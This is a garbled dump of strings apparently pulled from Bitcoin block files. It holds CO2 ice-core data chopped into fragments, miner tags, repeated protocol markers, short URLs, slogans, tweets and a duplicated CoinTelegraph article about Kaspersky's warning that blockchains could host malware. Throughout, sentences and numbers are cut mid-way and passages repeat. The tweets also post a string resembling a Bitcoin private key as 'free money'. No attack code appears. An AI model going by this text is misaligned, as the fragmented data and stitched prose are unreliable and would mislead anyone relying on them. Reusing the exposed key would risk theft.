42 217.5 1
.4 3188.08
794949 2
684419 219.4
1.0 319
0.28 798893
684949 219.
685217 21
4 685716
.72 685980
83.37 686425
3083.82 686726
227.3 1.7
27 228.7 1
7470 228.8
687949 232.3
688195 233.0
688652 235.
688881 23
6 689304
.23 689603
88.93 690057
3089.30 690294
234.8 2.1
71 240.0 2
0999 234.0
691432 235.6
691672 236.6
692057 235.
692338 23
3 692765
.70 692990
94.45 693433
3094.80 693639
234.1 1.3
68 235.4 1
4300 234.4
694672 235.8
694941 236.9
695383 236.
695618 23
5 696062
.22 696287
99.93 696717
3100.32 696963
232.9 0.6
31 232.4 0
7660 232.2
698120 231.0
698386 228.0
698880 226.
699102 22
3 699633
.71 699909
05.36 700389
3105.82 700744
227.6 1.1
42 228.2 0
1606 228.8
702158 229.3
702381 230.3
702988 232.
703384 23
5 703934
.07 704211
10.88 704973
3111.32 705410
228.5 1.5
41 228.6 1
6409 228.1
709680 219.7
710237 220.2
711104 218.
711421 21
1 712833
.60 713843
18.95 714288
3119.67 715180
217.7 0.6
50 222.1 0
6704 208.1
717065 205.0
718064 192.9
718779 184.
719794 18
5 720337
.06 721318
24.52 722039
3125.27 723133
213.4 1.2
64 213.2 1
4445 210.3
725059 206.3
725937 206.6
726322 208.
727192 20
1 727732
.62 728568
29.93 728921
3131.12 730299
204.0 1.6
49 204.1 0
1329 204.9
732141 203.8
732548 205.9
733261 203.
733543 20
6 734223
.52 734604
36.19 735167
3136.53 735459
201.3 0.8
79 204.1 1
6460 209.7
737034 208.1
737266 211.3
737889 210.
738272 20
4 738844
.88 739137
41.66 739842
3142.12 740277
178.9 0.3
21 178.6 2
1307 176.6
742075 177.9
742558 182.3
743233 181.
743589 18
6 744354
.52 744843
47.48 745836
3148.26 746643
183.1 0.4
10 180.8 0
7759 180.8
748101 180.4
748913 181.4
749401 182.
750194 18
1 750476
.65 751301
53.12 751830
3153.78 752605
188.0 0.3
78 196.5 1
3984 191.5
754394 195.8
755241 200.5
755495 201.
756357 20
2 756871
.15 757561
58.53 757962
3158.80 758259
215.3 0.7
75 217.6 1
8883 217.9
759306 214.9
760202 208.8
760500 206.
761453 20
2 762064
.55 762871
62.91 763319
3163.20 763686
225.7 3.0
34 221.4 2
4249 224.1
764833 222.6
765735 216.8
766110 215.
767096 21
2 767737
.97 768655
67.26 769050
3167.60 769514
228.1 1.6
87 226.0 1
0133 231.5
770447 235.6
770724 238.2
770994 235.
771260 23
4 771708
.53 772076
70.25 773043
3170.72 773680
233.3 0.9
48 236.9 0
5051 240.5
776037 238.8
776636 243.9
777556 246.
777900 24
5 778798
.11 779364
75.84 780268
3176.13 780612
242.8 0.7
35 248.7 0
2059 246.2
783263 252.1
784147 246.9
784692 250.
785413 25
1 785789
.26 786587
81.73 787076
3182.43 787805
248.1 1.5
33 247.9 2
8887 229.5
789381 226.3
790153 218.2
790538 221.
791491 21
2 792081
.75 792943
86.98 793260
3187.87 794608
199.4 1.7
02 195.2 2
6467 189.3
797099 188.4
798512 191.0
Antarctic CO2 data
from Vostok, Dome C,
pth in meters, CO2 a
nd sigma in ppmv, Ga
s age scale: EDC3_ga
s_a (tentatively syn
chronized for Taylor
22 kyr BP)
Vostok (0-440
kyr BP) Tayl
or Dome (19-63 kyr B
P) Dome C
(393-664 kyr BP)
D
ome C (611-800 kyr B
001)
Petit et al. (1999)
Indermuhle
et al. (2000)
Siegenthaler
et al. (2005)
Pepin et a
Mined by AntPool sc1#
Mined by AntPool sc1#
Raynaud et a
ern
LGGE in Grenoble
Universit
y of Bern
University o
f Bern
LGGE in Grenobl
e Univer
sity of Bern
LGGE in G
_gas_a CO2 sigm
a Depth EDC3_ga
s_a CO2 Depth
Age(tentative) CO2
sigma Depth
EDC3_gas_a CO2
sigma Depth EDC3
_gas_a CO2 De
pth EDC3_gas_a C
O2 sigma Depth
EDC3_gas_a CO2
280.4 1.8 1
49.1 2690 2
84.7 380.82 18
906 190.5 1
2761.85 41571
7 276.4 1.6
2700.77 392544
259.5 3026.58
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1983 135207
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/TangPool/avalon4_tl/
#The truth is that there is no spoon
Mined by AntPool sc0
/TangPool/haobtc/HAOBTC.COM
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eb118bef2a3af5aec34f
da1b49781c64b7849cac
65a32466109cce0cce56
ff24554c38097a0f0cb0
e85eebb20889dc0a6801
1830e7d9a6fe5b18512b
199cb513b01b50bb7cfe
80a79d2af5dc08ce86f6
d5c847fc8fe427260bfc
fb7fd3deeac83447fdb8
7d1c60324642587a417d
fcce728439b74adc018b
a1cf53a8f973be6e1c8c
284c3a1ceefc99f286bb
97c14a63cb976c5ef4a7
a37ef19d0daa722fb88d
b8e166d5e662832dc74f
6f1ecb699573f929e081
9c445a6a72c97a76ccc1
6c31a7b0d650b59d213e
54e0188c4a7f69ed3500
6eabebfd3bf80ca5cc40
99210cdefbe84ffe8793
6b366b6e7e26f8ebc387
86ea7597eb3bf1e45317
0601220d73a077587a60
ddca7cbd4a77166a47a7
e2191a437d442872cc35
4dad\264/0601220d73a
077587a60ddca7cbd4a7
7166a47a7e2191a437d4
27a66b65b03d07f74db3
ac4f506d7dd207bf2b63
57525bd15b820124e501
063b651b242325f71d56
ddc8138bc7fac4b639d2
fb831a33af19b85751e6
&HE WHO IS GIVEN EVERYTHING HAS NOTHING
I wish You Good Luck
29
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3. Composite CO2 rec
(Monnin et al. 2001
) measured at Univer
kyr Vostok (Petit
et al. 1999; Pepin e
t al. 2001; Raynaud
et al. 2005) measure
d at LGGE in Grenobl
C (Siegenthaler et a
l. 2005) measured at
16-664 kyr Dome C (S
iegenthaler et al. 2
005) measured at Un
4-800 kyr Dome C (Lu
ethi et al. (sub)) m
easured at Universit
e C C02 Graph.jpg*18
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What is the Banking? Control.
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G-SMILE TO LIFE AND LIFE WILL SMILE BACK AT YOU
Mined by AntPool bj78
Mined by AntPool sc0
Mined by AntPool sc1#
Mined by AntPool sc0
Mined by AntPool bj2/
Mined by yiluhaoxinqing
Mined by AntPool bj0
Mined by AntPool bj78
/TangPool/tangpoolgonbo/HAOBTC
ASCRIBESPOOLREGISTER
ASCRIBESPOOLREGISTER
ASCRIBESPOOLREGISTER
ASCRIBESPOOLREGISTER
ASCRIBESPOOLREGISTER
Mined by AntPool sc1#
ASCRIBESPOOLREGISTER
ASCRIBESPOOLREGISTER
ASCRIBESPOOLREGISTER
ASCRIBESPOOLREGISTER
ASCRIBESPOOLREGISTER
ASCRIBESPOOLREGISTER
Mined by AntPool bj0
ASCRIBESPOOLREGISTER
ASCRIBESPOOLREGISTER
ASCRIBESPOOLREGISTER
ASCRIBESPOOLREGISTER
ASCRIBESPOOLREGISTER
Mined by AntPool sc0
/TangPool/tangpoolgonbo/HAOBTC
ASCRIBESPOOLREGISTER
$/mining.bitcoinaffiliatenetwork.com/
Mined by AntPool sc1#
-SMILE TO LIFE AND LIFE WILL SMILE BACK AT YOU
Mined by AntPool sc1#
Mined by AntPool sc0
ASCRIBESPOOLREGISTER
Follow the white rabbit.
ASCRIBESPOOLREGISTER
Mined by AntPool bj69
Mined by AntPool sc0
ASCRIBESPOOLREGISTER
Mined by yu133511711
ASCRIBESPOOLREGISTER
ASCRIBESPOOLREGISTER
w+https://mining.bitcoinaffiliatenetwork.com/
ASCRIBESPOOLREPLENISH
ASCRIBESPOOLREGISTER
ASCRIBESPOOLREGISTER
Mined by liugonggong
Mined by AntPool nmg0&
Mined by AntPool sc1#
/TangPool/haobtc/HAOBTC.COM
ASCRIBESPOOLREGISTER
ASCRIBESPOOLREGISTER
ASCRIBESPOOLREGISTER
ASCRIBESPOOLREGISTER
ASCRIBESPOOLREGISTER
ASCRIBESPOOLREGISTER
Time is always against us.
ASCRIBESPOOLREGISTER
ASCRIBESPOOLREGISTER
u=http://n.opn.as/6z
u=https://cpr.sm/npX_d3imuX
ASCRIBESPOOLREGISTER
ASCRIBESPOOLREGISTER
ASCRIBESPOOLREGISTER
ASCRIBESPOOLREGISTER
u=http://n.opn.as/10
u=http://n.opn.as/10
u=http://n.opn.as/8d
/TangPool/haobtc/HAOBTC.COM
ASCRIBESPOOLREGISTER
ASCRIBESPOOLREGISTER
ASCRIBESPOOLREGISTER
u=https://cpr.sm/hVrS39_PeQ
u=http://n.opn.as/11
u=http://n.opn.as/11X0
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$/mining.bitcoinaffiliatenetwork.com/
/TangPool/dht025911/
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oounp+86SaFr9j/Bh7ll
/TangPool/haobtc/HAOBTC.COM
Mined by AntPool sc0
U2FsdGVkX18Ydwq/k9Ko
Mined by AntPool sc0
/TangPool/tangpoolgonbo/HAOBTC
$/mining.bitcoinaffiliatenetwork.com/
ASCRIBESPOOLREGISTER
u=https://cpr.sm/_K_7g31bPZ
Mined by kuangshanji
Mined by AntPool bj78
Mined by AntPool sc0
Mined by AntPool nmg0&
...BUT SWEAT MEMORIES REMAIN
Mined by AntPool usa09
Mined by native801015
Mined by AntPool bj5/
Mined by AntPool sc0
Mined by AntPool usa09
Mined by AntPool bj0
&HE WHO IS GIVEN EVERYTHING HAS NOTHING
Mined by AntPool sc0
Mined by AntPool nmg0&
&HE WHO IS GIVEN EVERYTHING HAS NOTHING
e'NOTHING BIG CAME OUT OF SOMETHING SMALL
Mined by AntPool sc1#
Mined by liangxiaoyuf2
Mined by AntPool bj0
Mined by AntPool bj2/
Operation "rakushka" :)
Mined by AntPool sc1#
Mined by AntPool nmg0&
ASCRIBESPOOLREPLENISH
ASCRIBESPOOLREGISTER
Mined by AntPool nmg0&
ASCRIBESPOOLREPLENISH
Mined by AntPool sc0
ASCRIBESPOOLREGISTER
ASCRIBESPOOLREGISTER
ASCRIBESPOOLREGISTER
ASCRIBESPOOLREGISTER
Welcome to the real world.
ASCRIBESPOOLREGISTER
/TangPool/haobtc/HAOBTC.COM
-SMILE TO LIFE AND LIFE WILL SMILE BACK AT YOU
$/mining.bitcoinaffiliatenetwork.com/
dropbox.com/s/oaib1ejwtp!zh7aq/ghost_in_the_shell.jpg?
dropbox.com/s/bisyh!six4ap488n/kill_bill.jpg?dl=1
www.dropbox.com/s/9o5!s1dfc0hzt2sm/LICENSE.zip?dl=1
www.dropbox.com/s!/f3x8y3lufd48q6e/pdf.pdf?dl=1
Mined by AntPool bj78
ASCRIBESPOOLREGISTER
ASCRIBESPOOLREGISTER
Mined by AntPool bj78
Mined by AntPool sc1#
ASCRIBESPOOLREPLENISH
dropbox.com/s/oaib1ejwt!pzh7aq/ghost_in_the_shell.jpg
midasrezerv.com!/reports/amst-audrep-0415.pdf
Mined by AntPool usa09
dropbox.com/s/!bisyhsix4ap488n/kill_bill.jpg
midasrezerv.com!/reports/amst-audrep-0415.pdf
midasreze!rv.com/reports/amst-iss-00001
midasrezerv.com/!reports/AMST-AUDREPORT-01.pdf
midasrezerv.c!om/reports/amst-iss-00001.zip
midasrezerv.c!om/reports/amst-iss-00001.zip
Mined by AntPool sc1#
Mined by AntPool sc0
Time is always against us.
ASCRIBESPOOLREGISTER
ASCRIBESPOOLREGISTER
ASCRIBESPOOLREGISTER
Mined by AntPool sc1#
00000000000000000000
ASCRIBESPOOLTRANSFER
ASCRIBESPOOLREPLENISH
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Mined by AntPool sc1#
ASCRIBESPOOLREGISTER
/TangPool/haobtc/HAOBTC.COM
ASCRIBESPOOLREGISTER
Mined by AntPool nmg0&
/TangPool/tangpoolgonbo/HAOBTC
ASCRIBESPOOLREGISTER
u=https://cpr.sm/hVrS39_PeQ
Mined by AntPool sc1#
ASCRIBESPOOLREGISTER
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ASCRIBESPOOLREGISTER
ASCRIBESPOOLREPLENISH
Mined by AntPool bj69
*-SMILE TO LIFE AND LIFE WILL SMILE BACK AT YOU
ASCRIBESPOOLREGISTER
Mined by AntPool sc0
Mined by AntPool usa09
ASCRIBESPOOLREGISTER
Mined by AntPool bj78
Mined by feifeikuanggong
Mined by AntPool sc0
Time is always against us.
Operation "rakushka" :)
Mined by AntPool usa1%
Time is always against us.
File: blk00248.txt
Mined by AntPool sc0
Mined by AntPool bj2/
u=https://cpr.sm/9ouH_1Abr0
u=https://cpr.sm/9ouH_1Abr0p
u=https://cpr.sm/9ouH_1Abr0
Mined by AntPool usa1%
Mined by AntPool bj2/
Mined by gutingxiong
Mined by AntPool sz0
Mined by AntPool bj78
Mined by AntPool sc1#
/TangPool/tangpoolgonbo/HAOBTC
Mined by AntPool sc1#
Mined by AntPool usa09
Mined by AntPool bj69
...BUT SWEAT MEMORIES REMAIN
Mined by xushiming123
Mined by AntPool sz0
u=https://cpr.sm/hVrS39_PeQH`
Mined by AntPool sc0
/TangPool/haobtc/HAOBTC.COM
Mined by AntPool sc1#
$/mining.bitcoinaffiliatenetwork.com/
ASCRIBESPOOLTRANSFER
Mined by AntPool usa1%
Mined by AntPool usa1%
ASCRIBESPOOLREGISTER
/TangPool/tangpoolgonbo/HAOBTC
ASCRIBESPOOLREGISTER
ASCRIBESPOOLREGISTER
Mined by AntPool sc1#
/TangPool/haobtc/HAOBTC.COM
ASCRIBESPOOLREGISTER
Welcome to the real world.
+https://mining.bitcoinaffiliatenetwork.com/
Mined by AntPool sc0
/TangPool/avalon4_tl/
ASCRIBESPOOLREGISTER
Mined by AntPool sc0
ASCRIBESPOOLREGISTER
ASCRIBESPOOLREGISTER
ASCRIBESPOOLREGISTER
Time is always against us.
ASCRIBESPOOLREGISTER
ASCRIBESPOOLREGISTER
ASCRIBESPOOLREGISTER
Mined by AntPool bj0
ASCRIBESPOOLREGISTER
Welcome to the real world.
ASCRIBESPOOLREGISTER
ASCRIBESPOOLREGISTER
ASCRIBESPOOLREGISTER
What is the Banking? Control.
u=https://cpr.sm/hVrS39_PeQ
ASCRIBESPOOLREGISTER
ASCRIBESPOOLREGISTER
Mined by AntPool sc1#
Mined by kongxuekuangji1
GB2APDK Ninjas team 4ever.
ASCRIBESPOOLREGISTER
Mined by AntPool sc0
Mined by AntPool usa09
ASCRIBESPOOLREGISTER
ASCRIBESPOOLREGISTER
ASCRIBESPOOLREGISTER
ASCRIBESPOOLREGISTER
ASCRIBESPOOLREGISTER
ASCRIBESPOOLREGISTER
Mined by AntPool sc1#
ASCRIBESPOOLREGISTER
ASCRIBESPOOLREGISTER
Mined by AntPool sc0
Mined by AntPool sz0
Mined by wanyouyinli1
Mined by AntPool usa1%
...BUT SWEAT MEMORIES REMAIN
Mined by AntPool nmg0
Mined by saiwaifeimao
Mined by AntPool sc1#
Mined by ikon5111023
Time is always against us.
Mined by AntPool bj69
ASCRIBESPOOLREGISTER
ASCRIBESPOOLREGISTER
ASCRIBESPOOLREGISTER
ASCRIBESPOOLREGISTER
ASCRIBESPOOLREGISTER
Mined by AntPool usa1%
u=http://n.opn.as/122
Mined by AntPool bj69
Mined by AntPool sc1#
Mined by AntPool usa1%
/TangPool/haobtc/HAOBTC.COM
Mined by AntPool sc0
/TangPool/tangpoolgonbo/HAOBTC
Mined by AntPool sc1#
'NOTHING BIG CAME OUT OF SOMETHING SMALL
Mined by AntPool sc1#
Mined by AntPool bj69
Mined by AntPool sc0
-SMILE TO LIFE AND LIFE WILL SMILE BACK AT YOU
Mined by AntPool sc1#
Mined by AntPool bj5/
$/mining.bitcoinaffiliatenetwork.com/
+https://mining.bitcoinaffiliatenetwork.com/
www.dropbox.com/s!/f3x8y3lufd48q6e/pdf.pdf?dl=1
dropbox.com/s/oaib1ejwtpzh7a!q/ghost_in_the_shell.jpg?dl=1
ASCRIBESPOOLREGISTER
ASCRIBESPOOLREGISTER
ASCRIBESPOOLREGISTER
dropbox.com/s/bisyh!six4ap488n/kill_bill.jpg?dl=1
ASCRIBESPOOLREPLENISH
ASCRIBESPOOLREGISTER
ASCRIBESPOOLREPLENISH
ASCRIBESPOOLREGISTER
/TangPool/johnnylin/
ASCRIBESPOOLREGISTER
ASCRIBESPOOLREGISTER
ASCRIBESPOOLTRANSFER
ASCRIBESPOOLTRANSFER
ASCRIBESPOOLREPLENISH
ASCRIBESPOOLREGISTER
ASCRIBESPOOLTRANSFER
Operation "rakushka" :)
Operation "rakushka" :)
ASCRIBESPOOLREPLENISH
ASCRIBESPOOLREPLENISH
ASCRIBESPOOLREPLENISH
ASCRIBESPOOLREGISTER
ASCRIBESPOOLREGISTER
ASCRIBESPOOLREGISTER
ASCRIBESPOOLTRANSFER
ASCRIBESPOOLTRANSFER
Operation "rakushka" :)
-> http://www.4my.eu <-CV
ASCRIBESPOOLREGISTER
ASCRIBESPOOLREPLENISH
ASCRIBESPOOLREGISTER
ASCRIBESPOOLREGISTER
ASCRIBESPOOLREGISTER
ASCRIBESPOOLREGISTER
ASCRIBESPOOLREGISTER
ASCRIBESPOOLREGISTER
ASCRIBESPOOLREGISTER
ASCRIBESPOOLREGISTER
Mined by AntPool usa1%
ASCRIBESPOOLREGISTER
ASCRIBESPOOLREGISTER
ASCRIBESPOOLREGISTER
ASCRIBESPOOLREGISTER
ASCRIBESPOOLREGISTER
Mined by AntPool usa1%
ASCRIBESPOOLREGISTER
ASCRIBESPOOLREGISTER
Mined by AntPool bj0
Mined by AntPool sc0
&HE WHO IS GIVEN EVERYTHING HAS NOTHING
ASCRIBESPOOLREGISTER
ASCRIBESPOOLREGISTER
ASCRIBESPOOLREGISTER
Mined by AntPool nmg0&
ASCRIBESPOOLREPLENISH
ASCRIBESPOOLREPLENISH
ASCRIBESPOOLREGISTER
ASCRIBESPOOLREGISTER
ASCRIBESPOOLREGISTER
ASCRIBESPOOLREGISTER
ASCRIBESPOOLTRANSFER
ASCRIBESPOOLREPLENISH
ASCRIBESPOOLREGISTER
ASCRIBESPOOLREGISTER
ASCRIBESPOOLREGISTER
ASCRIBESPOOLTRANSFER
ASCRIBESPOOLREPLENISH
Mined by AntPool usa1%
c#The truth is that there is no spoon
ASCRIBESPOOLUNCONSIGN
ASCRIBESPOOLREPLENISH
ASCRIBESPOOLREPLENISH
ASCRIBESPOOLREGISTER
Mined by AntPool sc1#
ASCRIBESPOOLTRANSFER
Follow the white rabbit.
ASCRIBESPOOLTRANSFER
Mined by AntPool usa1%
ASCRIBESPOOLREPLENISH
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ASCRIBESPOOLREGISTER
ASCRIBESPOOLREGISTER
ASCRIBESPOOLREGISTER
Mined by AntPool sc1#
Mined by AntPool usa1%
Mined by AntPool sc0
v1.0 (using IJG JPE
G v80), default qual
22222222222222222222
22222222222222222222
&'()*456789:CDEFGHIJ
STUVWXYZcdefghijstuv
()*56789:CDEFGHIJSTU
VWXYZcdefghijstuvwxy
u=http://n.opn.as/13h
Mined by AntPool bj78
Mined by AntPool usa1%
u=http://www.chroma.io/demo.json
ASCRIBESPOOLREGISTER
u=http://n.opn.as/14
u=http://n.opn.as/14Vg
YarkoL loves NBitcoin
Mined by AntPool sc0
ASCRIBESPOOLREGISTER
Mined by AntPool usa09
ASCRIBESPOOLREGISTER
&HE WHO IS GIVEN EVERYTHING HAS NOTHING
Mined by zxd619549999
Mined by AntPool bj0
Mined by AntPool usa09
ASCRIBESPOOLREGISTER
Mined by AntPool sc0
Mined by AntPool sc1#
Mined by songguangjun
Mined by zxd619549999
l&HE WHO IS GIVEN EVERYTHING HAS NOTHING
+https://mining.bitcoinaffiliatenetwork.com/
Mined by AntPool bj78
/TangPool/haobtc/HAOBTC.COM
+https://mining.bitcoinaffiliatenetwork.com/
Mined by AntPool bj5/
Mined by AntPool usa1%
Mined by AntPool bj78
Mined by AntPool usa1%
Mined by AntPool bj5/
/TangPool/tangpoolgonbo/HAOBTC
Mined by AntPool bj69
u=http://moorcoin.com/asset-file
Mined by AntPool sc1#
Time is always against us.
ASCRIBESPOOLREGISTER
/TangPool/tangpoolgonbo/HAOBTC
Mined by zhuangjinna
Mined by AntPool bj5/
ASCRIBESPOOLREPLENISH
ASCRIBESPOOLREGISTER
ASCRIBESPOOLREGISTER
Mined by jorneyflair
ASCRIBESPOOLTRANSFER
Mined by AntPool usa1%
unsuccessful double-spend attempt
$/mining.bitcoinaffiliatenetwork.com/
What is the Banking? Control.
Mined by AntPool bj69
ASCRIBESPOOLREPLENISH
u=https://cpr.sm/NZLVawhC5X
ASCRIBESPOOLREGISTER
ASCRIBESPOOLREGISTER
Its a bear trap Suza
nne, Buy bitcoin at
$640 AUD he said....
..you mother fucker!
File: blk00249.txt
ASCRIBESPOOLTRANSFER
ASCRIBESPOOLREPLENISH
ASCRIBESPOOLREGISTER
ASCRIBESPOOLTRANSFER
ASCRIBESPOOLREGISTER
ASCRIBESPOOLREGISTER
Mined by AntPool bj78
/TangPool/avalon4_tl/
ASCRIBESPOOLREGISTER
Mined by AntPool sc1#
/TangPool/tangpoolgonbo/HAOBTC
ASCRIBESPOOLREGISTER
Mined by chenchunshu888
ASCRIBESPOOLREGISTER
Mined by AntPool usa1%
ASCRIBESPOOLREGISTER
Mined by AntPool bj69
ASCRIBESPOOLREGISTER
ASCRIBESPOOLREGISTER
ASCRIBESPOOLREGISTER
ASCRIBESPOOLREGISTER
Mined by AntPool sc1#
Mined by AntPool bj0
Mined by AntPool sc0
ASCRIBESPOOLREGISTER
Mined by AntPool sc1#
Mined by AntPool usa1%
u=https://cpr.sm/h-gGwVBvDU
u=https://cpr.sm/h-gGwVBvDU
u=https://cpr.sm/h-gGwVBvDU
...BUT SWEAT MEMORIES REMAIN
ASCRIBESPOOLREGISTER
ASCRIBESPOOLREGISTER
u=http://n.opn.as/154\
u=http://n.opn.as/15
/TangPool/haobtc/HAOBTC.COM
ASCRIBESPOOLREGISTER
ASCRIBESPOOLREGISTER
Mined by AntPool sc0
ASCRIBESPOOLREGISTER
Mined by AntPool sc0
Mined by AntPool sc1#
Mined by AntPool sc0
ASCRIBESPOOLREGISTER
ASCRIBESPOOLREGISTER
Mined by AntPool bj0
ASCRIBESPOOLREGISTER
ASCRIBESPOOLREGISTER
Mined by mayixiongdi
ASCRIBESPOOLREGISTER
ASCRIBESPOOLREGISTER
ASCRIBESPOOLREGISTER
u=https://cpr.sm/h-gGwVBvDU
Mined by wangxingsmile
u=https://coinprism.exchange/usd8]
u=http://www.chroma.io/demo.jsonoX
unsuccessful double-spend attempt
unsuccessful double-spend attempt
u=https://cpr.sm/OtsBbXIlgK
u=https://cpr.sm/pIkkn6sJPUX
Mined by AntPool sc1#
unsuccessful double-spend attempt
Mined by AntPool bj69
#The truth is that there is no spoon
Mined by AntPool usa1%
unsuccessful double-spend attempt
@CoinTelegraph: Warning! Kaspersky Alerts Users of Malware and 'Blockchain
Abuse' http://dlvr.it/987VNp #malware #INTERPOL
pic.twitter.com/Hr0NSk61ni
@adam3us: .@CoinTelegraph makes no sense to me. op_return is not executed as
code by any browser; op_return makes the most useless virus vector
@comefrombeyond: @adam3us @CoinTelegraph They said "blockchain", not "Bitcoin".
#Ethereum
@jgarzik: @adam3us @CoinTelegraph In the past, at least one block explorer
website failed to quote properly, sending code direct from chain to
@adam3us: "no malware thru blockchain; just possibility concerns Kaspersky" w
Snowden revelations there's 1000s of actual things to be concerned
If so can it be prevented? @NickSzabo4
free money: KzY8w7AViarPncmWXjXChPgQPrcGWxpTZous4UrXLK48zBK1fUvP
@CoinTelegraph: Warning! Kaspersky Alerts Users of Malware and 'Blockchain
Abuse' http://dlvr.it/987VNp #malware #INTERPOL
pic.twitter.com/Hr0NSk61ni
@adam3us: .@CoinTelegraph makes no sense to me. op_return is not executed as
code by any browser; op_return makes the most useless virus vector
@comefrombeyond: @adam3us @CoinTelegraph They said "blockchain", not "Bitcoin".
#Ethereum
@jgarzik: @adam3us @CoinTelegraph In the past, at least one block explorer
website failed to quote properly, sending code direct from chain to
@adam3us: "no malware thru blockchain; just possibility concerns Kaspersky" w
Snowden revelations there's 1000s of actual things to be concerned
@VeryVeriViral: @jgarzik @adam3us @CoinTelegraph @kaspersky Is this possible?
free money: KzY8w7AViarPncmWXjXChPgQPrcGWxpTZous4UrXLK48zBK1fUvP
KzY8w7AViarPncmWXjXChPgQPrcGWxpTZous4UrXLK48zBK1fUvP
/TangPool/tangpoolgonbo/HAOBTC
Time is always against us.
Mined by liuchangcaipiao
Mined by AntPool sc1#
Time is always against us.
$/mining.bitcoinaffiliatenetwork.com/
Time is always against us.
Follow the white rabbit.
http://cointelegraph.com/news/113806/warning-kaspersky-alerts-users-of-malware-and-blockchain-abuse
Warning! Kaspersky Alerts Users of Malware and 'Blockchain Abuse'
=================================================================
Kaspersky Labs warns users of a possible exploit in cryptocurrency blockchains
that would allow malicious actors to distribute malware or even images
depicting child abuse.
The warning is the result of research of INTERPOL Cyber threat experts, a group
that includes a Kaspersky employee.
They warn that the extra space provided in each transaction, intended for
notes, messages and as a space to allow additional functions to be built on top
of the blockchain, could in fact be used to spread malicious code or worse.
Kaspersky's report states:
being injected and permanently hosted with no methods currently available
to wipe this data. This could affect 'cyber hygiene' as well as the sharing
of child sexual abuse images where the blockchain could become a safe haven
for hosting such data."
The blockchain, as CoinTelegraph readers are assuredly aware, is the virtually
unmodifiable public ledger that acts as the backbone for the Bitcoin network.
Once someone commits data to the blockchain, it is there forever unless more
than 51 % of bitcoin miners decide to mine on a modified blockchain that
doesn't include that data. That would be what is called a "hardfork" and would
be extremely difficult if not impossible to pull off, with the current number
Despite Kaspersky's recent warnings, storing illegal data in a compressed
manner has been a concern for the Bitcoin community for a while. In fact, links
to sites containing child abuse images have already been found in early
Blockchain transactions don't provide enough room to store illegal images in an
uncompressed form effectively. What INTERPOL and Kaspersky seem to be concerned
about is either compressed, hashed, images on the Bitcoin blockchain or
uncompressed images on alternative coin blockchains that allow for more space.
Encrypted and compressed data needs to be uncompressed and decrypted with an
algorithm. Theoretically, since an algorithm is just a set of rules to
interpret data, any code can be turned into any other kind of code. Even the
words of this text could, in theory, be "decrypted" into an image of the
algorithm creator's choosing. It seems extremely unlikely that Bitcoin users
would be subject to prosecution for possession or distribution of child
pornography, when those images don't "exist" without proper decrypting
A more realistic concern would be a small script embedded into the blockchain
manages to run a damaging script in the few kilobytes of space provided. It
seems it would be difficult to get those scripts to run without user
interaction. Nevertheless, Kaspersky implies that even our private keys could
"[Blockchain malware] could also enable crime scenarios in the future such
as the deployment of modular malware, a reshaping of the distribution of
zero-day attacks, as well as the creation of illegal underground
marketplaces dealing in private keys which would allow access to this
Kaspersky stressed that they are believers in decentralized technology like the
blockchain, but pointed out that their role is to identify threats before they
become reality. At press time, there is no known instance of users storing and
executing malware through the Bitcoin blockchain; it is just a possibility that
concerns Kaspersky. They do not, at this time, offer any advice on how users
while blockchains are downloading is probably a good move, even though some
software often finds false positives.
Norton identifies every single cryptocurrency wallet as malware and
automatically deletes it. I'm pretty sure about that as I've tried to run
dozens - and not from small alt coins that might be dodgy, from coins with big
market caps, lots of users, and open source code. You have to restore it after
the fact and tell Norton to let it through.
Personally I suspect that this is the part of the industry making excuses
because they know their products can't deal with cryptocurrency software very
well and they would prefer you to think they are protecting you from these
imaginary threats than to think that they just can't be bothered to update the
way they recognise malware so that it doesn't automatically presume all
Kaspersky usually makes a lot of sense, and maybe he's been misquoted, but this
articles makes zero sense to me. How does a few bytes per transactions of
irreversible distributed ledger create a virus risk? Huh? You might want to
focus on say web sites, that have active readers (browsers) that run code. Or
phishing mail with attachments, or operating sytems and virus scanning systems
that blacklist and hence fail open; rather than capability based things like
Qubes that whitelist and fail closed. There is no javascript analog in
op_return data, and no user client software interpreting it as code, so the
articles claim doesnt make sense.
http://cointelegraph.com/news/113806/warning-kaspersky-alerts-users-of-malware-and-blockchain-abuse
Warning! Kaspersky Alerts Users of Malware and 'Blockchain Abuse'
=================================================================
Kaspersky Labs warns users of a possible exploit in cryptocurrency blockchains
that would allow malicious actors to distribute malware or even images
depicting child abuse.
The warning is the result of research of INTERPOL Cyber threat experts, a group
that includes a Kaspersky employee.
They warn that the extra space provided in each transaction, intended for
notes, messages and as a space to allow additional functions to be built on top
of the blockchain, could in fact be used to spread malicious code or worse.
Kaspersky's report states:
being injected and permanently hosted with no methods currently available
to wipe this data. This could affect 'cyber hygiene' as well as the sharing
of child sexual abuse images where the blockchain could become a safe haven
for hosting such data."
The blockchain, as CoinTelegraph readers are assuredly aware, is the virtually
unmodifiable public ledger that acts as the backbone for the Bitcoin network.
Once someone commits data to the blockchain, it is there forever unless more
than 51 % of bitcoin miners decide to mine on a modified blockchain that
doesn't include that data. That would be what is called a "hardfork" and would
be extremely difficult if not impossible to pull off, with the current number
of bitcoin users.
Despite Kaspersky's recent warnings, storing illegal data in a compressed
manner has been a concern for the Bitcoin community for a while. In fact, links
to sites containing child abuse images have already been found in early
accomplished.
Blockchain transactions don't provide enough room to store illegal images in an
uncompressed form effectively. What INTERPOL and Kaspersky seem to be concerned
about is either compressed, hashed, images on the Bitcoin blockchain or
uncompressed images on alternative coin blockchains that allow for more space.
Encrypted and compressed data needs to be uncompressed and decrypted with an
algorithm. Theoretically, since an algorithm is just a set of rules to
interpret data, any code can be turned into any other kind of code. Even the
words of this text could, in theory, be "decrypted" into an image of the
algorithm creator's choosing. It seems extremely unlikely that Bitcoin users
would be subject to prosecution for possession or distribution of child
pornography, when those images don't "exist" without proper decrypting
software.
A more realistic concern would be a small script embedded into the blockchain
manages to run a damaging script in the few kilobytes of space provided. It
seems it would be difficult to get those scripts to run without user
interaction. Nevertheless, Kaspersky implies that even our private keys could
be at risk.
"[Blockchain malware] could also enable crime scenarios in the future such
as the deployment of modular malware, a reshaping of the distribution of
zero-day attacks, as well as the creation of illegal underground
marketplaces dealing in private keys which would allow access to this
data."
Kaspersky stressed that they are believers in decentralized technology like the
blockchain, but pointed out that their role is to identify threats before they
become reality. At press time, there is no known instance of users storing and
executing malware through the Bitcoin blockchain; it is just a possibility that
concerns Kaspersky. They do not, at this time, offer any advice on how users
while blockchains are downloading is probably a good move, even though some
software often finds false positives.
Comments
========
Norton identifies every single cryptocurrency wallet as malware and
automatically deletes it. I'm pretty sure about that as I've tried to run
